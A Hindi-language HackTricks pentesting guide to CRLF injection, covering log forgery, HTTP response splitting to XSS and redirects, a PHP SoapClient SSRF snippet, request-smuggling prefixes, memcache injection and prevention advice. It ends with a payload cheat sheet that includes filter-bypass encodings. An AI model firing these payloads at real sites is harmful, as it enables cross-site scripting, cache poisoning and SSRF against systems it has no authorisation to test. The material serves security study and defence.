Hindi - Ht

CRLF (%0D%0A) Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाई गई है! आज हमारे साथ जुड़ें https://go.intigriti.com/hacktricks और शुरू करें बाउंटी अप टू $100,000 तक कमाना!

CRLF

कैरिज रिटर्न (CR) और लाइन फीड (LF), समूहिक रूप से CRLF के रूप में जाने जाते हैं, ये विशेष वर्ण सर्वर और ब्राउज़र द्वारा HTTP प्रोटोकॉल में एक पंक्ति के अंत या नई पंक्ति की शुरुआत को दर्शाने के लिए उपयोग किए जाते हैं। ये वर्ण सामान्यत: विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में HTTP/1.1 संचार में व्यापक रूप से प्रयोग किए जाते हैं।

CRLF इंजेक्शन सुरक्षा दोष

CRLF इंजेक्शन में CR और LF वर्णों को उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में डाला जाता है। यह कार्रवाई सर्वर, एप्लिकेशन, या उपयोगकर्ता को धोखा देती है कि डाले गए सरणी को एक प्रतिक्रिया के अंत और एक नई प्रारंभ के रूप में व्याख्या किया जाए। ये वर्ण स्वाभाविक रूप से हानिकारक नहीं हैं, लेकिन उनके दुरुपयोग से HTTP प्रतिक्रिया विभाजन और अन्य दुराचार कार्रवाई हो सकती है।

उदाहरण: एक लॉग फ़ाइल में CRLF इंजेक्शन

यहां से उदाहरण देखें

एक एडमिन पैनल में एक लॉग फ़ाइल को ध्यान में रखें जो फॉर्मेट में है: IP - समय - दर्शित पथ। एक साधारण प्रविष्टि इस प्रकार हो सकती है:

123.123.123.123 - 08:15 - /index.php?page=home

एक हमलावर इस लॉग को मानिपुरित करने के लिए CRLF अंशधारण का शोषण कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को नकली बना सकता है। उदाहरण के लिए, एक इंजेक्टेड अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकता है:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

यहाँ, %0d और %0a CR और LF के URL-encoded रूप को प्रतिनिधित करते हैं। हमले के बाद, लॉग गुमराह करने वाले रूप में प्रदर्शित होगा:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

अटैकर इस तरह अपनी दुराचारी गतिविधियों को छुपाता है जिससे ऐसा लगता है कि localhost (सर्वर परिवेश में सामान्यत: विश्वसनीय एकांत) ने क्रियाएँ की हैं। सर्वर %0d%0a से शुरू होने वाले क्वेरी का हिस्सा को एक पैरामीटर के रूप में व्याख्या करता है, जबकि restrictedaction पैरामीटर को अलग, अलग इनपुट के रूप में व्याख्या किया जाता है। मानिपुरित क्वेरी वास्तविक रूप से एक विधायक प्रशासनिक कमांड का अनुकरण करती है: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

विवरण

HTTP Response Splitting एक सुरक्षा दुरुपयोग है जो उत्तरों की संरचना का शोध करता है जब एक अटैकर HTTP उत्तरों की संरचना का शोध करता है। यह संरचना शीर्षकों को शरीर से एक विशेष वर्ण सिरजना का उपयोग करके अलग करती है, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), समूहित रूप से CRLF के रूप में जिसे कहा जाता है। अगर एक अटैकर किसी उत्तर हेडर में एक CRLF सिरजना डालने में सफल होता है, तो वह प्रभावी रूप से उत्तर सामग्री को मानिपुरित कर सकता है। इस प्रकार की मानिपुरण सुरक्षा समस्याओं, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS) की ओर ले जा सकती है।

HTTP Response Splitting के माध्यम से XSS

  1. एप्लिकेशन इस प्रकार का एक कस्टम हेडर सेट करता है: X-Custom-Header: UserInput

  2. एप्लिकेशन "user_input" जैसे क्वेरी पैरामीटर से UserInput के लिए मान लाता है। उचित इनपुट मान्यता और इनकोडिंग की कमी वाले परिदृश्यों में, एक अटैकर एक पेलोड बना सकता है जिसमें CRLF सिरजना, और फिर कट्टर सामग्री शामिल होती है।

  3. एक अटैकर एक URL बनाता है जिसमें विशेष रूप से बनाया गया 'user_input' होता है: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • इस URL में, %0d%0a%0d%0a CRLFCRLF का URL-कोडित रूप है। यह सर्वर को CRLF सिरजना डालने में धोखा देता है, जिससे सर्वर उत्तर शरीर के रूप में उपचार करने लगता है।

  1. सर्वर उत्तर हेडर में अटैकर का इनपुट प्रतिबिंबित करता है, जिससे एक अनचाहे उत्तर संरचना में ले जाता है जहां दुराचारी स्क्रिप्ट को ब्राउज़र द्वारा उत्तर शरीर का हिस्सा माना जाता है।

HTTP Response Splitting से रीडायरेक्ट तक जाने वाले एक उदाहरण

https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

ब्राउज़र को:

/%0d%0aLocation:%20http://myweb.com

और सर्वर हेडर के साथ प्रतिक्रिया देता है:

Location: http://myweb.com

अन्य उदाहरण: (से https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL पथ में

आप URL पथ के अंदर पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके (उदाहरण यहाँ से):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

अधिक उदाहरण देखें:

HTTP हेडर इंजेक्शन

HTTP हेडर इंजेक्शन, अक्सर CRLF (कैरिज रिटर्न और लाइन फीड) इंजेक्शन के माध्यम से उत्पीड़ित किया जाता है, हमलावदाताओं को HTTP हेडर्स डालने की अनुमति देता है। यह XSS (क्रॉस-साइट स्क्रिप्टिंग) फ़िल्टर या SOP (सेम-ओरिजिन पॉलिसी) जैसी सुरक्षा तंत्रों को कमजोर कर सकता है, जिससे अनधिकृत रूप से संवेदनशील डेटा तक पहुंचा जा सकता है, जैसे CSRF टोकन, या कुकी प्लांटिंग के माध्यम से उपयोगकर्ता सत्रों का उल्लंघन।

HTTP हेडर इंजेक्शन के माध्यम से CORS का शोधन

हमलावदाता CORS (क्रॉस-ओरिजिन रिसोर्स शेयरिंग) सक्षम करने के लिए HTTP हेडर्स इंजेक्ट कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को छलकरने की अनुमति देता है। यह उल्लंघन दुरुपयोगी मूलों से स्क्रिप्ट्स को अन्य मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, संरक्षित डेटा तक पहुंचने की संभावना है।

CRLF के माध्यम से SSRF और HTTP अनुरोध इंजेक्शन का शोधन

CRLF इंजेक्शन का उपयोग करके पूरी तरह नया HTTP अनुरोध बनाने और इंजेक्ट करने का उपयोग किया जा सकता है। इसमें PHP की SoapClient कक्षा में दोष का एक प्रमुख उदाहरण है, विशेष रूप से user_agent पैरामीटर के भीतर। इस पैरामीटर को मनिपुलेट करके, एक हमलावदाता अतिरिक्त हेडर्स और बॉडी सामग्री डाल सकता है, या नए HTTP अनुरोध को पूरी तरह से इंजेक्ट कर सकता है। नीचे एक PHP उदाहरण दिया गया है जो इस शोधन को दिखाता है:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

हेडर इंजेक्शन करके रिक्वेस्ट स्मग्लिंग

इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए मूल स्रोत देखें.

आप महत्वपूर्ण हेडर्स इंजेक्ट कर सकते हैं ताकि बैक-एंड कनेक्शन ओपन रखे पहले रिक्वेस्ट का जवाब देने के बाद:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य सामान्यत: HTTP request smuggling को शामिल करता है, एक तकनीक जिसमें सर्वर द्वारा पोस्ट-संचयन के बाद जोड़े गए अतिरिक्त हेडर या बॉडी तत्व सुरक्षा उत्पीड़न की विभिन्न शास्त्रों में ले जा सकते हैं।

शोषण:

  1. हानिकारक प्रीफिक्स इन्जेक्शन: इस विधि में, अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक हानिकारक प्रीफिक्स निर्दिष्ट करके जहरीला करना शामिल है। इसका एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. प्रतिक्रिया कतार पॉइज़निंग के लिए प्रीफिक्स बनाना: यह दृष्टिकोण एक प्रीफिक्स बनाने को शामिल करता है जो, जब अंतिम कचरे के साथ मिलाया जाता है, एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार पॉइज़निंग को ट्रिगर कर सकता है। एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

मेमकैश इंजेक्शन

मेमकैश एक कुंजी-मूल्य स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है। अधिक जानकारी के लिए:

पूरी जानकारी के लिए मूल लेख पढ़ें

यदि एक प्लेटफ़ॉर्म एक HTTP अनुरोध से डेटा ले रहा है और इसे सैनिटाइज़ नहीं कर रहा है ताकि मेमकैश सर्वर को अनुरोध करने के लिए उपयोग कर सके, तो एक हमलावार इस व्यवहार का दुरुपयोग कर सकता है नए मेमकैश कमांड इंजेक्शन करने के लिए।

उदाहरण के लिए, मूल खोजी गई सुरक्षा दोष में, कैश कुंजीयों का उपयोग एक उपयोगकर्ता को कनेक्ट करने के लिए आईपी और पोर्ट वापस करने के लिए किया गया था, और हमलावार मेमकैश कमांड इंजेक्शन कर सकते थे जो कैश को विस्तारित करने के लिए उपयोग किए गए विवरण (उपयोगकर्ता नाम और पासवर्ड शामिल) को हमलावार सर्वरों को भेजने के लिए कर सकते थे:

इसके अतिरिक्त, शोधकर्ताओं ने यह भी खोजा कि वे मेमकैश प्रतिक्रियाओं को डिसिंक कर सकते हैं ताकि हमलावार को उन उपयोगकर्ताओं के आईपी और पोर्ट भेज सके जिनके ईमेल का अटैकर नहीं जानता था:

वेब एप्लिकेशन में CRLF / HTTP हेडर इंजेक्शन कैसे रोकें

CRLF (कैरिज रिटर्न और लाइन फीड) या HTTP हेडर इंजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:

  1. प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट से बचें: सबसे सुरक्षित दृष्टिकोण यह है कि प्रतिक्रिया हेडर में सीधे उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को समाहित करने से इनकार करें।

  2. विशेष वर्णों को एन्कोड करें: यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, सुनिश्चित करें कि CR (कैरिज रिटर्न) और LF (लाइन फीड) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग किया जाता है। यह अभ्यास CRLF इंजेक्शन की संभावना को रोकता है।

  3. प्रोग्रामिंग भाषा को अपडेट करें: अपनी वेब एप्लिकेशन में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। CR और LF वर्णों के इंजेक्शन को स्थापित करने के लिए कार्यों के भीतर निर्धारित संस्करण का चयन करें।

CHEATSHEET

यहां से चीटशीट

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

स्वचालित उपकरण

ब्रूट-फोर्स पहचान सूची

संदर्भ

बग बाउंटी टिप: साइन अप करें Intigriti, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है! हमारे साथ जुड़ें https://go.intigriti.com/hacktricks आज ही, और शुरू करें बाउंटी कमाना तक $100,000 तक!

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

PreviousCORS - Misconfigurations & BypassNextCSRF (Cross Site Request Forgery)

Last updated